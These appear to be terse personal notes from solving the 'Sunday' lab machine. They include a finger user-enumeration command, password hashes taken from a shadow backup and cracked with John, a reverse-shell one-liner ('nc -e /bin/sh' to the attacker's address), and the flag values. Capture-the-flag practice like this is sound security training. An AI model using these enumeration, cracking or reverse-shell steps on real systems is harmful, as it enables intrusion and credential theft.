Sunday

enumerated some users

seclist not scanning….

22022 also open

http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.221.105

sammy and summy ssh

sammy sits

sunny connects

sunday password works

root troll and backup/shadow.backup

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Understanding the /etc/shadow File in Linux

The /etc/shadow file stores hashed passwords and password aging data for each user on a Linux system. This guide explains the file format, hash types, field …

https://linuxize.com/post/etc-shadow-file/

fighting with hashcat

john fixes it

sammy

cooldude!

a3d9498027ca5187ba1793943ee8a598

wait, already had this

now for /root/troll

nc -e /bin/sh 10.10.14.2 9999

fb40fab61d99d37536daeec0d97af9b8